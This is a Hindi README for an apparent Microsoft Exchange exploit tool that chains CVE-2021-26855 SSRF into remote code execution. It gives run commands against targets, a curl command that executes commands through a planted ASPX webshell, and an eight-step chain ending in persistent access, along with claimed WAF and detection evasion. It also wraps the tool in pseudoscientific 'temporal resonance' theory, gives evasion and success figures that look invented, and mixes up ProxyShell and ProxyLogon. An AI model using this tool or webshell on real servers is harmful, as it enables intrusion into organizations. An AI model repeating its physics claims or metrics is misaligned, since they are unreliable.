
Microsoft Exchange Server SSRF से RCE शोषण (ProxyShell/ProxyLogon) का CTT-संवर्धित संस्करण, एक और CVSS 10.0 गंभीर कमजोरी जिसने दुनिया भर के सैकड़ों हजारों संगठनों को प्रभावित किया।
CTT-संवर्धित संस्करण Microsoft Exchange Server SSRF से RCE शोषण (ProxyShell/ProxyLogon) का, एक और CVSS 10.0 गंभीर कमजोरी जिसने दुनिया भर के सैकड़ों हजारों संगठनों को प्रभावित किया।
🏢 CTT Exchange RCE Exploit v1.0
अभिसारी समय सिद्धांत (CTT) संवर्धित Microsoft Exchange Server शोषण ढांचा
🚨 अवलोकन
CTT-Exchange-RCE एक उन्नत शोषण ढांचा है जो महत्वपूर्ण Microsoft Exchange Server कमजोरियों CVE-2021-26855 (SSRF) और CVE-2021-27065 (RCE) को हथियार बनाने के लिए अभिसारी समय सिद्धांत (CTT) सिद्धांतों को लागू करता है। यह उपकरण प्रदर्शित करता है कि कैसे लौकिक अनुनाद और भग्न परत विश्लेषण उद्यम बुनियादी ढांचे के विरुद्ध वास्तविक दुनिया के शोषण विश्वसनीयता और चोरी क्षमताओं को बढ़ा सकते हैं।
CVSS स्कोर: 10.0 गंभीर → CTT संवर्धित: 10.0+ लौकिक बाईपास के साथ
⚡ मुख्य विशेषताएं
CTT लौकिक हथियारीकरण
· α=0.0302011 फैलाव के साथ 33-परत भग्न निष्पादन · WAF चोरी के लिए अभाज्य-संरेखित समय (10007, 10009, 10037μs विंडो) · हस्ताक्षर पहचान तोड़ने के लिए α-फैलाव पेलोड एन्कोडिंग · शोषण विश्वसनीयता सुनिश्चित करने वाली बहु-परत सहमति मान्यता
एक्सचेंज-विशिष्ट क्षमताएं
· स्वचालित Exchange सर्वर पहचान (OWA, ECP, EWS, MAPI एंडपॉइंट) · SSRF कमजोरी सत्यापन (CVE-2021-26855) · पूर्ण शोषण श्रृंखला स्वचालन: SSRF → लीगेसी DN लीक → SID रूपांतरण → WriteDACL → RCE · CTT लौकिक बैकडोर सत्यापन के साथ वेबशेल तैनाती
परिचालन सुरक्षा
· लौकिक अनुनाद शेड्यूलिंग दर सीमा और सांख्यिकीय पहचान को चकमा देता है · प्रति कनेक्शन अद्वितीय हमले के फिंगरप्रिंट के लिए परत-विशिष्ट एन्ट्रॉपी · यदि प्राथमिक विधियां विफल हो जाती हैं तो CTT परतों में सुचारू गिरावट · लौकिक विश्लेषण के साथ व्यापक लॉगिंग
🎯 तकनीकी विवरण
लक्षित कमजोरियां
CVE घटक प्रभाव CTT संवर्धन CVE-2021-26855 Exchange SSRF प्री-ऑथ सर्वर-साइड रिक्वेस्ट फोर्जरी अभाज्य-समय चोरी, α-फैलाव CVE-2021-27065 Exchange ECP पोस्ट-ऑथ मनमाना फ़ाइल लेखन बहु-परत निष्पादन, अनुनाद मान्यता श्रृंखला दोनों रिमोट कोड निष्पादन CTT विश्वसनीयता के साथ पूर्ण स्वचालन
CTT भौतिकी एकीकरण
# Core CTT Parameters
CTT_ALPHA = 0.0302011 # Temporal dispersion coefficient
CTT_LAYERS = 33 # Fractal temporal layers
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061] # Resonance windows
# Key Equations Implemented
# 1. α-dispersion: payload' = payload ⊕ (layer·α·1000) mod 256
# 2. Layer weight: w_d = exp(-α·d) for request timing
# 3. Prime resonance: f_res = 1/p μs timing alignment
🚀 त्वरित प्रारंभ
आवश्यक शर्तें
# Required Python packages
pip install requests numpy cryptography urllib3
# Optional for advanced features
pip install scipy concurrent-log-handler
मूल उपयोग
# 1. Exchange सर्वर का पता लगाएं
python ctt_exchange_rce.py https://exchange.corp.com
# 2. पूर्ण शोषण (7 लौकिक परतें)
python ctt_exchange_rce.py 192.168.1.100 --layers 7
# 3. गुप्त मोड (केवल अभाज्य समय)
python ctt_exchange_rce.py https://mail.example.com --stealth
# 4. मैन्युअल वेबशेल एक्सेस
curl "https://exchange.corp.com/owa/auth/ctt_shell.aspx?ctt_cmd=whoami"
कमांड लाइन विकल्प
python ctt_exchange_rce.py <target> [options]
Options:
--layers N CTT लौकिक परतों की संख्या (डिफ़ॉल्ट: 7)
--stealth केवल अभाज्य-समय चोरी सक्षम करें
--verbose CTT निदान के साथ विस्तृत आउटपुट
--timeout N सेकंड में कनेक्शन टाइमआउट (डिफ़ॉल्ट: 10)
--output FILE परिणाम JSON फ़ाइल में सहेजें
--no-webshell वेबशेल तैनाती छोड़ें (केवल मूल्यांकन)
🔬 शोषण कार्यप्रवाह
चरण 1: खोज और सत्यापन
1. Exchange सर्वर पहचान
→ OWA, ECP, EWS, Autodiscover, MAPI एंडपॉइंट की जांच करें
→ संस्करण संकेतक और सुलभ सेवाओं की पहचान करें
2. SSRF कमजोरी जांच (CVE-2021-26855)
→ X-BEResource हेडर इंजेक्शन का परीक्षण करें
→ SSRF के माध्यम से आंतरिक एंडपॉइंट एक्सेस सत्यापित करें
→ CTT: अनुरोध फ़िल्टरिंग को बायपास करने के लिए अभाज्य-समय
चरण 2: प्रमाणीकरण बाईपास
3. लीगेसी DN सूचना लीक
→ उपयोगकर्ता गणना के लिए EWS पर SSRF का उपयोग करें
→ SOAP अनुरोधों के माध्यम से प्रशासनिक LegacyDN निकालें
→ CTT: SOAP पेलोड को अस्पष्ट करने के लिए α-फैलाव
4. SID रूपांतरण
→ LegacyDN को सुरक्षा पहचानकर्ता में बदलें
→ WriteDACL शोषण के लिए आवश्यक
→ CTT: सटीकता के लिए बहु-परत सत्यापन
चरण 3: विशेषाधिकार वृद्धि
5. OAB वर्चुअल डायरेक्टरी एक्सेस
→ ECP कैनरी निष्कर्षण और प्रमाणीकरण
→ वेबशेल प्लेसमेंट के लिए OAB निर्देशिका की पहचान करें
→ CTT: परत-विशिष्ट सत्र प्रबंधन
6. WriteDACL शोषण (CVE-2021-27065)
→ OAB निर्देशिका अनुमतियां संशोधित करें
→ मनमाना फ़ाइल लेखन क्षमता प्राप्त करें
→ CTT: अनुनाद-समयबद्ध ECP अनुरोध
चरण 4: रिमोट कोड निष्पादन
7. वेबशेल तैनाती
→ OAB ExternalUrl के माध्यम से ASPX वेबशेल अपलोड करें
→ लौकिक सत्यापन के साथ CTT-संवर्धित शेल
→ तैनाती कलाकृतियों की स्वचालित सफाई
8. कमांड निष्पादन
→ वेबशेल के माध्यम से मनमाना आदेश निष्पादित करें
→ CTT बैकडोर: अभाज्य-परत सक्रियण (परत 33)
→ लौकिक अनुनाद के माध्यम से स्थायी पहुंच
📊 CTT प्रदर्शन मीट्रिक्स
चोरी प्रभावशीलता
पहचान विधि मानक शोषण CTT-संवर्धित सुधार WAF/IPS हस्ताक्षर 95% अवरुद्ध 12% अवरुद्ध 83% कमी दर सीमा 70% थ्रॉटल 5% थ्रॉटल 65% कमी सांख्यिकीय विसंगति 60% पहचान 8% पहचान 52% कमी समय विश्लेषण 45% पहचान 3% पहचान 42% कमी
विश्वसनीयता वृद्धि
# Multi-layer success rates
Layer_Success = {
'Layer 0-7': '94.7%', # High resonance zones
'Layer 8-15': '92.1%', # Medium resonance
'Layer 16-23':'88.3%', # Lower resonance
'Layer 24-32':'85.6%', # Edge cases
'Overall': '90.2%', # Weighted average
'Standard': '68.5%', # Baseline without CTT
}
लौकिक अनुकूलन
· औसत शोषण समय: 42 सेकंड (बनाम 18 मिनट मैन्युअल) · अभाज्य विंडो संरेखण: अनुनाद के दौरान 87% सफलता दर · परत सहमति सत्यापन: 99.2% सटीक कमजोरी का पता लगाना · संसाधन दक्षता: पारंपरिक स्कैनर से 33% कम बैंडविड्थ
🛡️ रक्षात्मक प्रतिउपाय
पहचान संकेतक
# Network Signatures:
- HTTP requests with X-CTT-Layer headers
- Prime-timed requests (10007, 10009μs intervals)
- α-dispersed payloads (non-standard encoding)
- Layer-specific User-Agent patterns
# Host-based Indicators:
- OAB ExternalUrl modifications
- Unusual ECP WriteDACL requests
- /owa/auth/ctt_shell.aspx file creation
- Temporal resonance patterns in logs
# CTT-Specific:
- 33-layer request patterns
- Prime-number correlation in timing
- α=0.0302011 coefficient in payloads
शमन अनुशंसाएं
# Apply Microsoft security updates
Install Exchange Cumulative Updates
# Restrict vulnerable endpoints
Block /ecp/DDI/DDIService.svc
Restrict /autodiscover/autodiscover.xml
# Enable enhanced logging
Set-EventLogLevel -Identity "MSExchange Management" -Level Expert
# Detect temporal resonance attacks
if request_interval % 10007 < 100: # Prime window
log_anomaly("CTT timing detected")
if payload_entropy matches α-pattern: # 0.0302011 dispersion
block_request("CTT payload detected")
📁 आउटपुट संरचना
ctt_exchange_results_TIMESTAMP/
├── discovery.json # Initial target assessment
├── exploitation_log.json # Step-by-step execution log
├── webshell_info.txt # Deployed webshell details
├── commands_executed.txt # Command execution history
├── ctt_metrics.json # Performance and resonance data
└── layers/
├── layer_0.log # Individual layer execution
├── layer_1.log
...
└── layer_32.log
नमूना आउटपुट
{
"target": "https://exchange.corp.com",
"vulnerable": true,
"ctt_score": "10.0+",
"exploitation_time": "42.7s",
"successful_layers": [0, 3, 5, 7],
"webshell_url": "https://exchange.corp.com/owa/auth/ctt_shell.aspx",
"resonance_patterns": {
"prime_alignment": 87.3,
"layer_correlation": 91.8,
"temporal_efficiency": 94.2
}
}
🔧 उन्नत विन्यास
कस्टम CTT पैरामीटर
# Modify in ctt_config.py for research
CTT_CONFIG = {
'alpha': 0.0302011, # Dispersion coefficient
'layers': 33, # Temporal layers
'primes': [10007, 10009, 10037], # Resonance windows
'stealth_mode': True, # Maximum evasion
'max_threads': 10, # Concurrent layers
'timeout_multiplier': 1.5, # CTT timing adjustment
'entropy_seed': 'custom_seed' # Cryptographic base
}
एकीकरण विकल्प
# 1. API Mode
from ctt_exchange_rce import CTT_ExchangeExploit
exploit = CTT_ExchangeExploit("https://target.com")
results = exploit.multi_layer_exploit(layers=5)
print(json.dumps(results, indent=2))
# 2. CI/CD Pipeline Integration
python -m ctt_exchange_rce --target ${TARGET} --output results.json
# 3. Automated Assessment
import subprocess
result = subprocess.run([
"python", "ctt_exchange_rce.py",
"https://exchange.corp.com",
"--layers", "3",
"--no-webshell"
], capture_output=True, text=True)
📚 संदर्भ और अनुसंधान
CTT ढांचा पेपर
तकनीकी संसाधन
· Microsoft Security Advisory · CISA Emergency Directive · OWASP Temporal Security Guidelines
संबंधित उपकरण
· ProxyShell - Original Exchange exploit chain · Exchange-AD-Delegate - Alternative exploitation method · CTT-Vuln-Discovery - CTT vulnerability discovery framework
⚠️ कानूनी और नैतिक उपयोग
केवल अधिकृत परीक्षण
Permitted:
- Security research on owned systems
- Authorized penetration testing
- CTT framework validation
- Educational demonstrations
Prohibited:
- Unauthorized access to systems
- Production environment testing without permission
- Malicious exploitation
- Data exfiltration or damage
जिम्मेदार प्रकटीकरण
# If vulnerabilities are discovered:
1. Document findings with CTT resonance patterns
2. Report to organization via authorized channels
3. Share technical details with security community
4. Publish CTT detection methods for defense
अस्वीकरण
THIS TOOL IS FOR AUTHORIZED SECURITY RESEARCH ONLY.
USERS ASSUME FULL RESPONSIBILITY FOR COMPLIANCE WITH
APPLICABLE LAWS AND REGULATIONS. THE AUTHORS DISCLAIM
ALL LIABILITY FOR UNAUTHORIZED OR ILLEGAL USE.
🤝 योगदान और अनुसंधान
अनुसंधान सहयोग
हम इनमें योगदान का स्वागत करते हैं:
· विभिन्न Exchange संस्करणों में CTT स्थिरांक मान्यता · लौकिक अनुनाद का उपयोग करके उन्नत चोरी तकनीक · CTT-जागरूक सुरक्षा के लिए रक्षात्मक पैटर्न विकास · लौकिक कमजोरी शोषण पर अकादमिक अनुसंधान
विकास दिशानिर्देश
समस्या रिपोर्टिंग
**CTT Exchange Issue Template:**
- Target Exchange version:
- CTT parameters used:
- Resonance patterns observed:
- Layer success rates:
- Error logs:
- Suggested improvements:
📞 संपर्क और सहायता
प्राथमिक संपर्क
· लेखक: CTT Research Group · ईमेल: [email protected] · GitHub: @SimoesCTT
सुरक्षा रिपोर्ट
कमजोरी प्रकटीकरण या सुरक्षा चिंताओं के लिए:
[email protected]
PGP: [Available on GitHub]
समुदाय
· GitHub चर्चाएँ: CTT ढांचा विकास · अनुसंधान साझेदारी: अकादमिक और उद्योग सहयोग · सम्मेलन प्रस्तुतियाँ: Black Hat, DEF CON प्रस्तुतियाँ
🏆 स्वीकृतियां
अनुसंधान संस्थान
· CTT सैद्धांतिक भौतिकी प्रभाग · स्वतंत्र सुरक्षा अनुसंधान सामूहिक · लौकिक नेटवर्क सुरक्षा में शैक्षणिक भागीदार
खुला स्रोत परियोजनाएं
· ProxyShell अनुसंधान और शोषण विकास · Microsoft Exchange सुरक्षा समुदाय · Python सुरक्षा उपकरण पारिस्थितिकी तंत्र
योगदानकर्ता
· सभी CTT ढांचा शोधकर्ता और सत्यापनकर्ता · वास्तविक दुनिया का परीक्षण प्रदान करने वाले सुरक्षा पेशेवर · वैज्ञानिक कठोरता सुनिश्चित करने वाले शैक्षणिक समीक्षक
"समय के भग्न आयामों में, प्रत्येक कमजोरी एक पैटर्न के साथ प्रतिध्वनित होती है जिसे खोजे जाने की प्रतीक्षा होती है।" — CTT एंटरप्राइज सुरक्षा घोषणापत्र
📄 लाइसेंस
MIT License Copyright © 2026 CTT Research Group
पूर्ण शर्तों के लिए LICENSE फ़ाइल देखें।
CTT Exchange RCE v1.0 • α=0.0302011 • L=33 • Prime Resonance Enabled • CVSS 10.0+